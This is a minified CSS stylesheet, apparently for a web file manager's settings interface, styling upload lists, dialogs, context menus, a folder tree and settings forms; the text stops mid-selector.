.font-icon:hover,.file_upload .download_list .item .info .font-icon:hover{text-decoration:none;color:#f60;}.file_upload .uploader-list .item .info .icon-ok,.file_upload .download_list .item .info .icon-ok{color:#40AA53;}.file_upload .uploader-list .item .info .error,.file_upload .download_list .item .info .error{color:#f30;overflow:hidden;}.file_upload .uploader-list .item .progress,.file_upload .download_list .item .progress{height:38px;margin:0px;width:100%;float:left;margin-top:-30px;border-radius:0;box-shadow:none;}.file_upload .uploader-list .item .progress-bar,.file_upload .download_list .item .progress-bar{background-color:#abd7fb;background-image:linear-gradient(45deg,rgba(255,255,255,0.35) 25%,transparent 25%,transparent 50%,rgba(255,255,255,0.35) 50%,rgba(255,255,255,0.35) 75%,transparent 75%,transparent);}.file_upload .uploader-list .success:hover,.file_upload .download_list .success:hover{cursor:pointer;background:#def;border-bottom:1px solid #3A87AD;}.messageBox{position:absolute;top:15%;left:0px;z-index:88;background:#63acff;color:#fff;opacity:0.7;filter:alpha(opacity=70);-webkit-border-radius:1px;-moz-border-radius:1px;border-radius:1px;-webkit-box-shadow:0 10px 60px rgba(0,0,0,0.6);-moz-box-shadow:0 10px 60px rgba(0,0,0,0.6);box-shadow:0 10px 60px rgba(0,0,0,0.6);display:none;}.messageBox .content{padding:10px 30px;line-height:20px;width:auto;}.aui_outer{text-align:left;position:relative;}.aui_mask{position:absolute;width:100%;height:100%;background:#fff;opacity:0.01;filter:alpha(opacity=1);}.aui_loading{height:100%;width:100%;overflow:hidden;opacity:0.7;filter:alpha(opacity=70);position:absolute;left:0;top:40px;z-index:9999;text-align:center;text-indent:-999em;}.aui_loading span{width:80px;height:80px;border-radius:6px;background:#fff url("../../../images/common/dialog/dialog_loading.gif") no-repeat center center;position:absolute;left:50%;top:50%;margin-left:-40px;margin-top:-40px;}table.aui_border,table.aui_dialog{width:100%;border:0;margin:0;border-collapse:collapse;}.aui_nw,.aui_n,.aui_ne,.aui_w,.aui_c,.aui_e,.aui_sw,.aui_s,.aui_se,.aui_header,.aui_tdIcon,.aui_main,.aui_footer{padding:0;}.aui_header,.aui_buttons button{font:12px/1.11;}.aui_title{overflow:hidden;text-overflow:ellipsis;font-size:1em;}.aui_title img{width:20px;margin-right:5px;border-radius:4px;pointer-events:none;}.aui_state_noTitle .aui_title{display:none;}.aui_main{font-size:1.1em;text-align:center;background:#FFF;min-width:9em;min-width:0 \9;visibility:auto;}.aui_content{text-align:left;color:#666;border:none 0;}.aui_content{width:100%;height:100%;}.aui_content.aui_state_full{display:block;width:100%;margin:0;padding:0 !important;height:100%;}.aui_icon{vertical-align:middle;background:#fff;}.aui_icon div{width:48px;height:48px;margin:10px 0 10px 10px;background-position:center center;background-repeat:no-repeat;}.aui_buttons{padding:10px 8px;text-align:right;white-space:nowrap;background-color:#F6F6F6;border-top:solid 1px #DADEE5;}.aui_buttons button{margin-left:15px;padding:3px 20px;height:25px;cursor:pointer;display:inline-block;text-align:center;line-height:1;overflow:visible;color:#000000;border:none;background:#aaa;color:#fff;}.aui_buttons button:focus{outline:none 0;}.aui_buttons button:hover{background:#c4c4c4;}.aui_buttons button:active{background:#777777;}.aui_buttons button[disabled]{cursor:default;color:#919191;background:#aaa;opacity:0.5;filter:alpha(opacity=50);}.aui_buttons button::-moz-focus-inner{border:0;padding:0;margin:0;}.aui_buttons button.aui_state_highlight{color:#FFF;background:#63acff;}.aui_buttons button.aui_state_highlight:hover{color:#FFF;background:#96c7ff;}.aui_buttons button.aui_state_highlight:active{background:#0076fc;}.aui_buttons button.disable,.aui_buttons button.disabled{opacity:0.3;filter:alpha(opacity=30);}.aui_outer{border:0px solid #63acff;-webkit-box-shadow:0px 5px 20px rgba(0,0,0,0.6);-moz-box-shadow:0px 5px 20px rgba(0,0,0,0.6);box-shadow:0px 5px 20px rgba(0,0,0,0.6);-webkit-transition:box-shadow 0.1s opacity 0.2s;-moz-transition:box-shadow 0.1s opacity 0.2s;-o-transition:box-shadow 0.1s opacity 0.2s;-ms-transition:box-shadow 0.1s opacity 0.2s;transition:box-shadow 0.1s opacity 0.2s;}.aui_state_lock .aui_nw,.aui_state_lock .aui_n,.aui_state_lock .aui_ne,.aui_state_lock .aui_w,.aui_state_lock .aui_e,.aui_state_lock .aui_sw,.aui_state_lock .aui_s,.aui_state_lock .aui_se{background:rgba(0,0,0,0.5);background:#000 \9 !important;opacity:0.5;filter:alpha(opacity=50);}.aui_titleBar{position:relative;height:100%;}.aui_title{height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;background-color:#7dbaff;}.aui_state_focus .aui_mask{display:none;}.aui_state_focus .aui_outer{-webkit-box-shadow:0px 5px 40px rgba(0,0,0,0.7);-moz-box-shadow:0px 5px 40px rgba(0,0,0,0.7);box-shadow:0px 5px 40px rgba(0,0,0,0.7);}.aui_state_focus .aui_title{background-color:#63acff;}.aui_state_drag .aui_title{cursor:move;cursor:-webkit-grabbing;cursor:grabbing;}.aui_min,.aui_max,.aui_close{display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;font-size:1.25em;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;color:#fff;border-top:none;top:0px;height:22px;width:35px;font-size:1.15em;line-height:22px;text-align:center;background-color:transparent;height:24px;width:38px;line-height:25px;color:#ffffff;font-family:FontAwesome;}.aui_min:hover,.aui_max:hover,.aui_close:hover{text-decoration:none;color:#fff;background-color:#1783ff;}.aui_close:hover{background:#cc0000;}.aui_min{right:82px;content:"\f068";}.aui_max{right:43px;content:"\f065";}.aui_close{right:5px;content:"\f00d";}.aui_min:before{content:"\f068";}.aui_max:before{content:"\f065";}.aui_close:before{content:"\f00d";}.dialogMax .aui_max:before{content:"\f066";}.aui_max,.aui_min{display:none;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_se{width:5px;height:5px;}.aui_state_noTitle .aui_titleBar{bottom:0;_bottom:0;_margin-top:0;}.aui_state_noTitle .aui_outer{box-shadow:none !important;border:none !important;}.aui_state_noTitle .aui_inner{border:1px solid #aaa;}.aui_state_noTitle .tips{padding:15px;padding-left:10px;}.aui_state_noTitle .aui_nw,.aui_state_noTitle .aui_n,.aui_state_noTitle .aui_ne,.aui_state_noTitle .aui_w,.aui_state_noTitle .aui_e,.aui_state_noTitle .aui_sw,.aui_state_noTitle .aui_s,.aui_state_noTitle .aui_se{background:rgba(0,0,0,0.1);background:#000 \9 !important;filter:alpha(opacity=10)!important;}.aui_state_noTitle .aui_close,.aui_state_noTitle .aui_max,.aui_state_noTitle .aui_min{display:none;font-size:1em;}.dialogMax .aui_nw,.dialogMax .aui_ne,.dialogMax .aui_sw,.dialogMax .aui_se,.dialogMax .aui_w,.dialogMax .aui_e{width:0px;}.dialogMax .aui_sw,.dialogMax .aui_n,.dialogMax .aui_se{height:0px;}.dialogMax .aui_outer{border:none !important;}.dialog-can-resize .resize-handle{position:absolute;z-index:9999;display:block;}.dialog-can-resize .resize-top{z-index:0;cursor:n-resize;top:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-bottom{z-index:0;cursor:s-resize;bottom:-3px;left:0px;height:7px;width:100%;}.dialog-can-resize .resize-right{z-index:0;cursor:e-resize;right:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-left{z-index:0;cursor:w-resize;left:-3px;top:0px;width:7px;height:100%;}.dialog-can-resize .resize-bottom-right{cursor:se-resize;width:18px;height:18px;right:-7px;bottom:-7px;background:url('../../../images/common/dialog/resize_corner.png') no-repeat;opacity:0.4;filter:alpha(opacity=40);}.dialog-can-resize .resize-bottom-left{cursor:sw-resize;width:15px;height:15px;left:-7px;bottom:-7px;}.dialog-can-resize .resize-top-left{cursor:nw-resize;width:15px;height:15px;left:-7px;top:-7px;}.dialog-can-resize .resize-top-right{cursor:ne-resize;width:15px;height:15px;right:-5px;top:-7px;}.dialog-can-resize .aui_min,.dialog-can-resize .aui_max{display:block;}body div.dialog-simple .aui_titleBar{width:100%;position:relative;bottom:0;height:100%;}body div.dialog-simple .aui_border{border:none;}body div.dialog-simple .aui_outer{border:none;border-radius:none;box-shadow:none;background:none;}body div.dialog-simple .aui_inner{border:none;background:none;}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_n,body div.dialog-simple .aui_ne,body div.dialog-simple .aui_w,body div.dialog-simple .aui_e,body div.dialog-simple .aui_sw,body div.dialog-simple .aui_s,body div.dialog-simple .aui_se{background:none;}body div.dialog-simple .aui_title{background:rgba(0,0,0,0.8);opacity:0.8;filter:alpha(opacity=80);border-radius:3px;border:none;height:31px;line-height:30px;padding:0 28px 0 10px;color:#fff;}body div.dialog-simple .aui_min,body div.dialog-simple .aui_max,body div.dialog-simple .aui_close{border:none;top:6px;display:block;position:absolute;text-decoration:none;outline:none;cursor:pointer;background-color:rgba(255,255,255,0.3);color:#fff;opacity:0.5;filter:alpha(opacity=50);height:22px;width:22px;font-size:1.15em;line-height:22px;text-align:center;border-radius:4px;font-family:FontAwesome;}body div.dialog-simple .aui_min:hover,body div.dialog-simple .aui_max:hover,body div.dialog-simple .aui_close:hover{text-decoration:none;color:#fff;background-color:#cc0000;}body div.dialog-simple .aui_min:active,body div.dialog-simple .aui_max:active,body div.dialog-simple .aui_close:active{color:fff;background-color:#f00;}body div.dialog-simple .aui_main{background:none !important;}body div.dialog-simple .aui_max{right:30px;}body div.dialog-simple .aui_min{right:56px;}body div.dialog-simple .aui_dialog,body div.dialog-simple .aui_border{background:none;}body div.dialog-simple .resize-bottom-right{background:none !important;}body div.dialog-simple .aui_header{opacity:0.01;filter:alpha(opacity=1);}body div.dialog-simple .aui_nw,body div.dialog-simple .aui_ne{height:0px;}body div.dialog-simple .dialog_mouse_in .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.aui_state_drag .aui_header{opacity:1.0;filter:alpha(opacity=100);}body div.dialog-simple.dialogMax .aui_header{opacity:1.0;filter:alpha(opacity=100);}@-webkit-keyframes fadein{0%{ opacity:0;} 50%{ opacity:0.4;}}.playmusic-icon{display:none;}.context-menu-list{margin:0;margin-left:4px;min-width:190px;max-width:300px;font-size:1em;display:inline-block;position:absolute;list-style-type:none;padding:8px 0px;border:none;border:1px solid #ccc \9;border-radius:4px;background:#fff;-webkit-box-shadow:0 10px 80px rgba(0,0,0,0.4);-moz-box-shadow:0 10px 80px rgba(0,0,0,0.4);box-shadow:0 10px 80px rgba(0,0,0,0.4);}.context-menu-list span b{display:inline-block;font-size:1em;font-weight:200;color:#aaa;padding-left:10px;min-width:50px;text-align:right;overflow:hidden;position:absolute;right:10px;width:65px;}.context-menu-list .hover>span>b{color:#fff;}.context-menu-list li.selected{border-left:none !important;background:none;}.context-menu-list li.selected i.font-icon{color:#aaa;font-family:FontAwesome;font-weight:normal;font-style:normal;}.context-menu-list li.selected i.font-icon:before{content:"\f00c" !important;}.context-menu-list .context-menu-submenu:after{content:"\f0da";font-family:FontAwesome;display:inline-block;float:right;margin-right:0px;right:10px;position:absolute;}.context-menu-list .context-menu-item{display:block;cursor:pointer;white-space:nowrap;clear:both;line-height:25px;height:23px;position:relative;border:none;padding:0px 20px 0 20px;color:#222;-webkit-transition:background-color .1s;-moz-transition:background-color .1s;-o-transition:background-color .1s;-ms-transition:background-color .1s;transition:background-color .1s;}.context-menu-list .context-menu-item .font-icon{display:inline-block;width:25px;font-size:1.2em;color:#aaa;}.context-menu-list .context-menu-item.disabled,.context-menu-list .context-menu-item.disable{cursor:not-allowed;color:#ccc;}.context-menu-list .context-menu-item.disabled .font-icon,.context-menu-list .context-menu-item.disable .font-icon{color:#ddd;}.context-menu-list .context-menu-item.disabled.hover,.context-menu-list .context-menu-item.disable.hover{color:#ccc;cursor:default;background-color:#fff;}.context-menu-list .context-menu-item.disabled.hover .font-icon,.context-menu-list .context-menu-item.disable.hover .font-icon{color:#ddd;}.context-menu-list .context-menu-item.hover{cursor:pointer;color:#fff;background:#63acff;background-color:none \9;}.context-menu-list .context-menu-item.hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item span i{float:right;text-align:right;font-style:normal;color:#888;}.context-menu-list .context-menu-item.context-menu-separator{height:2px;line-height:0;border-bottom:1px solid #eee;margin:2px 0 4px;}.context-menu-list .context-menu-item > .context-menu-list{display:none;right:-5px;top:5px;}.context-menu-list .context-menu-item.hover > .context-menu-list{display:block;}.context-menu-list .context-menu-item.hover > .context-menu-list .font-icon{color:#aaa;}.context-menu-list .context-menu-item.hover > .context-menu-list .hover .font-icon{color:#fff;color:#aaa \9;}.context-menu-list .context-menu-item .context-menu-accesskey{text-decoration:underline;}.context-menu-list .context-menu-item .line_top{border-top:1px solid #ddd !important;}.ztree{margin:0px;padding:10px 0px;font-size:1em;}.ztree li{padding:0;margin:0;list-style:none;text-align:left;white-space:nowrap;outline:0;}.ztree li ul{margin:0;padding:0;}.ztree li.level0{margin-bottom:4px;}.ztree li.level0>span.tree_icon{width:20px;}.ztree li span{line-height:24px;}.ztree li span.button{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:24px;width:20px;margin-right:5px;}.ztree li span.button.switch{width:25px;height:25px;margin-right:0px;background:none;text-align:center;line-height:25px;}.ztree li span.button.switch:hover{background:rgba(0,0,0,0.03);}.ztree li span.button.switch:after{content:"\f0da";font-family:FontAwesome;color:#aaa;text-decoration:inherit;font-size:1.25em;line-height:16px;padding-left:6px;-webkit-font-smoothing:antialiased;}.ztree li span.button.switch.noline_docu:after{content:' ';}.ztree li span.button.switch.noline_open:after,.ztree li span.button.switch.noline_open_hover:after{content:"\f0d7";}.ztree li span.button.switch.switch_hover:after{color:#63acff;}.ztree li span.button.ico_loading{background:url("../../../images/common/loading_tree.gif") no-repeat 0 0px transparent !important;}.ztree li span.button.ico_loading .x-item-file{display:none;}.ztree li span.tree_icon{height:21px;width:21px;background:none;overflow:hidden;}.ztree li span.tree_icon img{width:100%;max-width:100%;max-height:100%;}.ztree li a{padding-top:0px;cursor:pointer;text-decoration:none;display:block;margin:0;color:#333;vertical-align:top;line-height:24px;height:24px;padding-left:10px;border:1px solid #fff;}.ztree li a:hover{text-decoration:none;-webkit-transition:all 0.3s;-moz-transition:all 0.3s;-o-transition:all 0.3s;-ms-transition:all 0.3s;transition:all 0.3s;background:#eee;height:24px;border:1px solid #eee;}.ztree li a.curSelectedNode,.ztree li a.curDropTreeNode{border:1px solid #63acff;background:#63acff;line-height:24px;height:24px;color:#fff;}.ztree li a.curSelectedNode .button.switch:after,.ztree li a.curDropTreeNode .button.switch:after{color:#fff !important;}.ztree li a.curDropTreeNode{box-shadow:0 0 0 1px #fff inset !important;}.ztree li a.curSelectedNode_Edit{border:1px solid #63acff;background:#63acff;color:black;height:24px;}.ztree li a input.rename{height:25px;line-height:24px;padding:0;margin:0;border:none;outline:none;margin-left:-3px;padding-left:3px;width:106px;position:absolute;margin-top:-1px;}.ztree li a span.button.root_docu,.ztree li a span.button.noline_docu{background:none;}ul.ztree.zTreeDragUL{margin:0;padding:0;position:absolute;width:auto;height:auto;background-color:#63acff;border:1px solid #63acff;opacity:0.5;filter:alpha(opacity=50);}ul.ztree.zTreeDragUL li a span.space{display:none !important;}ul.ztree.zTreeDragUL li a{padding:4px 10px 0 10px;color:#fff;}ul.ztree.zTreeDragUL li span.button.switch{display:none;}.ztree li a.tmpTargetNode_inner{background:#0076fc;border:1px solid #3091ff;color:#fff;}.ztree li a.tmpTargetNode_prev{border-bottom:1px solid #f96;}.ztree li a.tmpTargetNode_next{border-bottom:1px solid #f96;}span.tmpzTreeMove_arrow{display:inline-block;margin:4px 0 0 2px;position:absolute;border-color:transparent transparent transparent #fff;border-style:solid;border-width:7px 0px 7px 7px;width:0;height:0;_border-top-color:white;_border-bottom-color:white;_filter:chroma(color=white);}.frame-left .ztree li .file{line-height:0;margin:0;display:inline-block;vertical-align:middle;cursor:pointer;outline:none;background-color:transparent;background-repeat:no-repeat;height:22px;width:18px;margin-right:5px;}body{-khtml-user-select:none;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;-o-user-select:none;user-select:none;overflow-x:hidden;}body ul{margin:0;padding:0;}body li{margin:0;padding:0;}#body a{text-decoration:none;}#body input[type='text'],#body input[type='password']{padding-left:0.5em;outline:none;border:1px solid #bbb;border:1px solid #ddd;background:#fff;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;border-radius:3px;}#body input[type='text']:focus,#body input[type='password']:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}#body .font-icon{padding-right:0.8em;display:inline-block;}#body .system_conennt .left_freame .left_content .role_box ul li.select{background:#80DBFF;}#body .system_conennt .left_freame .left_content .ztree li a{border:1px solid #fff;padding:0px;}#body .system_conennt .left_freame .left_content .ztree li a.hover{border:1px solid #63acff;color:#444;}#body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode{color:#666;border:1px solid #63acff;}#body .system_conennt .left_freame .left_content .ztree li a.curSelectedNode.hover{color:#666;border:1px solid #63acff;}#body .panel{border-radius:0;margin-right:30px;}#body .panel-default>.panel-heading{background:#eee;padding:8px 15px;}#body .panel-title{font-size:1.1em;}#body .form_row{margin-bottom:5px;font-size:1.1em;width:100%;float:left;}#body .form_row:after{clear:both;}#body .form_row label{margin-right:20px;}#body .form_row input[type='radio']{display:inline-block;margin-right:10px;}#body .form_row input[type='text'],#body .form_row input[type='password']{display:inline-block;margin-right:10px;height:30px;width:200px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;color:#444;border-radius:3px;}#body .form_row input[type='text']:focus,#body .form_row input[type='password']:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}#body .form_row .setting_title{float:left;width:100px;height:30px;padding-top:5px;}#body .form_row .setting_content{float:left;margin-left:20px;}#body .form_row .setting_content .desc{width:120px;}#body .form_row .font-icon{padding:0;}#body .form_row .file_select_input input{width:500px;}#body .form_row .file_select_input .path_select{padding:1px 10px;margin-left:-16px;height:30px;border-top-left-radius:0;border-bottom-left-radius:0;margin-top:-3px;margin-top:-6px \9\0;line-height:30px;}#body .form_row i{padding-left:5px;color:#777;font-size:12px;font-style:normal;display:inline-block;padding-top:5px;}#body .form_row.from_row_submit{background:#eee;margin:0;border-top:1px solid #ddd;padding:15px 0px 15px 0px;}#body .form_row.from_row_submit .setting_content{margin-left:10px;}#body .form_row.from_row_submit .btn{padding:4px 2em;margin-left:10px;}#body .system_setting .panel{margin-top:10px;}#body .system_setting .panel-body{padding:0px;padding-top:20px;}#body .system_setting .form_row{padding:5px 0px 5px 0px;}#body .system_setting .form_row .setting_title{width:150px;margin-left:20px;}#body .system_setting .form_row input[type='text']{display:block;float:left;width:300px;font-weight:200;}#body .system_setting .form_row label{padding-right:20px;line-height:28px;margin:0;}#body .system_setting .form_row label input:focus{box-shadow:none;}#body .system_setting .form_row.from_row_submit{background:#eee;margin:0;border-top:1px solid #ddd;padding:15px 0px 15px 0px;}#body .system_setting .form_row.from_row_submit .setting_content{margin-left:10px;}#body .system_setting .form_row.from_row_submit .btn{padding:4px 2em;margin-left:10px;}#body .setting_tools_right{position:absolute;right:30px;top:27px;}#body .setting_tools_right .version_vip{display:inline-block;float:right;right:120px;top:26px;text-align:center;padding:0px 10px;height:24px;line-height:24px;border-radius:3px;}#body .setting_tools_right .system_setting_more{margin-left:10px;}#body .color_default{position:absolute;left:355px;margin-top:45px;width:270px;border-radius:6px;box-shadow:0 0 20px #ddd inset;}#body .color_default .color_list{width:40px;height:40px;float:left;box-shadow:0 0 10px #ddd;margin:7px;border-radius:20px;cursor:pointer;}#body .color_default .color_list:hover{box-shadow:0 0 10px rgba(0,0,0,0.5);}#body .ztree{padding:5px 5px;}#body .menu_left{position:fixed;z-index:10;background:#f9f9f9;left:0;height:100%;width:18%;border-right:1px solid #ddd;margin-left:-1px;}#body .menu_left h1{text-align:left;color:#666;padding:15px 20px 10px 30px;font-size:35px;font-weight:800;}#body .menu_left .setting a{height:40px;line-height:40px;text-decoration:none;box-sizing:border-box;text-indent:10px;color:#666;display:block;overflow:hidden;cursor:pointer;text-transform:capitalize;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;font-size:15px;}#body .menu_left .setting a:hover{background:#f3f3f3;}#body .menu_left .setting a.selected{background:#ddd;color:#000;border-left:5px solid #EA533F;padding-left:10px;}#body .randomImage{width:25px;height:25px;margin-left:15px;cursor:pointer;}#body .main{position:absolute;left:18%;width:82%;height:93%;margin:30px 0 0 10px;}#body .main .h1 .font-icon{padding-right:16px;}#body .main div.h1{font-weight:400;color:#666;padding-bottom:8px;margin:0;font-size:22px;}#body .main .savebox{border-top:1px solid #eee;margin-bottom:10px;}#body .main .savebox a.save{margin-left:5px;margin-top:5px;padding:4px 20px;}#body .main .list{float:left;width:140px;height:115px;margin-right:10px;margin-bottom:10px;border:1px solid #ddd;background:#fff;cursor:pointer;border-radius:3px;-webkit-transition:all 0.2s;-moz-transition:all 0.2s;-o-transition:all 0.2s;-ms-transition:all 0.2s;transition:all 0.2s;}#body .main .list .ico{width:120px;height:80px;margin:10px;text-align:center;}#body .main .list .theme{margin:5px 10px;}#body .main .list .info{text-align:center;color:#666;margin:0px;margin-top:0px;font-size:1em;height:24px;line-height:24px;border-top:1px solid #eee;background:rgba(0,0,0,0.05);overflow:hidden;}#body .main .list .ico img{max-width:100%;height:100%;}#body .main .list.this{border:1px solid #63acff;background-color:#c9e2ff;}#body .main .list.this .info{color:#444;border-top:1px solid #c9e2ff;}#body .main .list.listhover{border:1px solid #63acff;}#body .main .content{word-break:break-all;color:#448;}#body .main .content h2{border-bottom:1px dashed #eef;padding-bottom:5px;margin-bottom:5px;font-weight:400;font-size:1.25em;}#body .main .content p{margin-left:5px;text-indent:2em;margin-bottom:8px;color:#666;font-size:1em;-khtml-user-select:text;-webkit-user-select:text;-moz-user-select:text;-ms-user-select:text;-o-user-select:text;user-select:text;}#body .main .content .box{color:#555;clear:both;color:#666;}#body .main .content .box .title{color:#444;border-bottom:1px dashed #ddd;font-size:21px;margin-bottom:10px;margin-top:10px;}#body .main .content .box .title span{border-bottom:1px solid #aaa;display:inline-block;margin-bottom:-1px;text-align:center;padding:5px 10px;float:none;width:auto;}#body .main .content .box p{line-height:1.7em;text-indent:2em;padding:3px;margin:0;}#body .main .content .box p b{padding-right:8px;}#body .main .content .box p i{padding-right:10px;}#body .main .nav a{display:block;float:left;padding:4px 2em;background:#eee;border:1px solid #ddd;margin-bottom:-1px;margin-left:-1px;-webkit-transition:all 0.218s;-moz-transition:all 0.218s;-o-transition:all 0.218s;-ms-transition:all 0.218s;transition:all 0.218s;color:#666;}#body .main .nav a:hover,#body .main .nav a.this{background:#666;color:#444;border:1px solid #666;border-left-color:#666;color:#fff;}#body .main .member input{display:inline-block;width:45px;margin-left:2px;}#body .main .member span{padding-left:10px;}#body .main .member select{padding:3px 5px;font-family:"微软雅黑";color:#666;}#body .main .member .info{background:#efe;padding:6px 10px;color:#8a8;border:#ccc 1px dotted;margin-top:10px;}#body .main .member .edit_role{color:#666;}#body .main .member .edit_role:hover{border-bottom:1px solid #666;}#body .main .together{margin-top:-1px;border-bottom:1px solid #eee;padding:5px 0 0 0px;}#body .main .together .title{float:left;width:80px;height:28px;margin:5px;color:#333;}#body .main .together .title i{padding-left:5px;font-style:normal;}#body .main .together span.text{color:#bbb;font-size:1em;padding-left:10px;}#body .main .together.input input{width:40%;margin-left:5px;border:1px solid #ddd;background:#fff;outline:none;box-shadow:inset 0 1px 1px rgba(0,0,0,0.08);-webkit-transition:all ease-in-out .168s;-moz-transition:all ease-in-out .168s;-o-transition:all ease-in-out .168s;-ms-transition:all ease-in-out .168s;transition:all ease-in-out .168s;height:26px;line-height:26px;}#body .main .together.input input:focus{border-color:#75A1F0;outline:none;box-shadow:0 0 4px #75A1F0;}#body .main .group_editor .tag{height:27px;line-height:30px;margin:2px 4px;padding:0px 8px;text-decoration:none;color:#666;-webkit-transition:all 0.218s;-moz-transition:all 0.218s;-o-transition:all 0.218s;-ms-transition:all 0.218s;transition:all 0.218s;display:block;float:left;border:1px solid #eee;background:#fff;}#body .main .group_editor .tag input{border:none;vertical-align:initial;display:inline-block;min-height:12px;margin-right:6px;}#body .main .group_editor .tag:hover{color:#63acff;border-color:rgba(99,172,255,0.7);}#body .main .group_editor .tag.this{border-color:#63acff;color:#63acff;background:#ffffff;}#body .main .group_editor .tag span{cursor:pointer;}#body .main .group_editor .together a.button{margin:0 0 0 10px;}#body .alert{width:95%;position:fixed;bottom:-30px;margin-left:-25px;opacity:0.8;filter:alpha(opacity=80);padding-top:0px;}#body .main .save{width:60px;margin-top:10px;}#body .main .content .title span{border-bottom:2px solid #bbb;}#body .main .panel{margin-left:-1px;}#body .main .panel table .title{font-size:1.15em;}#body .main .panel table .button{margin-left:0px;}#body .main .panel table .title span{border:none;}#body .main .panel table .menu_list .name input{width:90%;font-weight:400;}#body .main .panel table .menu_list .path input{width:90%;font-weight:400;}#body .menu_list{color:#666;}#body .menu_list td span{display:none;}#body .menu_list td label{float:right;margin-right:8px;line-height:34px;padding-top:0px;}#body .menu_list td label input{margin-right:5px;width:initial;}#body .menu_list td.url input[type=text]{width:50% !important;float:left;margin-top:5px;}#body .menu_system td input[type='text']{display:none !important;}#body .menu_system td span{display:inline !important;}#body .menu_system .move_del{display:none !important;}#body .menu_hidden{opacity:0.5;}#body .setting_menu table tr td.url{line-height:30px;}#body .save{width:auto;}#body .main .select table a.button{padding:0 8px;}#body input[type="radio"]{width:auto;border:none;}#body .setting_menu{margin-left:-1px;}#body table{font-size:1em;color:#888;width:100%;margin:0px;border:none;}#body table tr{border-bottom:1px solid #eee;background:#fff;height:30px;}#body table tr input[type='text']{display:block;width:80%;color:#888;height:24px;}#body table tr.title{background:#fff;color:#224;line-height:2.5em;height:2.5em;}#body table tr.title td{border-bottom:1px solid #eee;font-weight:800;}#body table tr.title span{color:#999;font-size:1em;padding-left:4px;font-weight:400;}#body table tr td{border-bottom:1px solid #eee;line-height:2.5em;height:2.5em;padding-left:3%;border-right:1px solid #eee;}#body table tr td.name{width:30%;}#body table tr td.name,#body table tr td.path{border-right:1px solid #eee;}#body table tr td.action{line-height:1.3em;}#body table tr td.action a{margin-right:5px;}#body table tr td .font-icon{padding-right:0em;}#body a.add{display:block;text-align:center;text-decoration:none;background:#eee;line-height:25px;height:25px;color:#444;box-shadow:none;}#body a.add:hover{background:#def;}#body .system_menu_save{padding:4px 2em;margin-top:20px;}#body .create_app{margin:0;display:block;position:absolute;right:21px;cursor:pointer;}#body .app_menu_left{min-width:130px;width:130px;}#body .app_menu_left .setting li.selected{padding-left:12px;}div#body div.app_list .app-list .app_li{border:1px solid #ddd;border-radius:0px;box-shadow:0 2px 7px #f6f6f6;}body.setting_page a.font-icon-label{color:#698ebf;font-size:20px;width:35px;text-decoration:none;padding:0;display:inline-block;text-align:center;border-radius:3px;background:#E9F3F9;}body.setting_page a.font-icon-label:hover{background:#698ebf;color:#fff;}body.setting_page a.font-icon-label .font-icon{padding:0 !important;}body.setting_page .select_drop_menu.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle),body.setting_page .button_aciton_muti.btn-group>.btn:first-child:not(:last-child):not(.dropdown-toggle){border-radius:2px;}body.setting_page .select_drop_menu ul.dropdown-menu,body.setting_page .button_aciton_muti ul.dropdown-menu{border:1px solid rgba(0,0,0,0.15);box-shadow:0 4px 30px rgba(0,0,0,0.2);}body.setting_page .select_drop_menu ul.dropdown-menu li>a,body.setting_page .select_drop_menu ul.dropdown-menu li>a,body.setting_page .button_aciton_muti ul.dropdown-menu li>a,body.setting_page .button_aciton_muti ul.dropdown-menu li>a{font-size:13px;padding:3px 30px;color:#666;}body.setting_page .select_drop_menu ul.dropdown-menu li>a:focus,body.setting_page .select_drop_menu ul.dropdown-menu li>a:hover,body.setting_page .button_aciton_muti ul.dropdown-menu li>a:focus,body.setting_page .button_aciton_muti ul.dropdown-menu li>a:hover{background:#63acff;color:#fff;}body.setting_page .aui_title{font-size:1em;}body.setting_page .label-info{color:#698ebf;background:#E9F3F9;font-weight:400;font-style:12px;}.share_dialog .space_info_bar{margin:0 auto;margin-top:5px;}.share_dialog .label-default{background-color:#bbb;}.share_dialog .space_info_bar .space_process .space_process_use{background-color:#f00;}.share_dialog .select_drop_menu button.btn{width:150px;height:25px;}.share_dialog .select_drop_menu .selected{background-color:#def;}.share_dialog .select_parent_content .btn{width:140px;}.share_dialog .select_parent_content .icon-group{color:#FC913F;}.share_dialog .btn-default{background:#fefefe;background-image:none;filter:none;padding:2px 6px;}.share_dialog .dlg_group_display{width:300px;clear:both;position:relative;left:90px;top:-30px;margin-bottom:-30px;}.share_dialog .dlg_group_display .cell span.label{float:left;margin:4px 8px 4px 0;font-size:1em;}body.setting_page .ztree a{border:none;padding-left:3px;}body.setting_page .ztree a:hover{border:none;}body.setting_page .ztree li a.curSelectedNode{color:#fff;}body.setting_page .ztree .sub_menu{float:right;display:none;line-height:20px;padding-right:7px;font-size:1.15em;color:#ddd;}body.setting_page .ztree .hover .sub_menu{display:inline-block;color:#666;}body.setting_page .ztree .curSelectedNode .sub_menu,body.setting_page 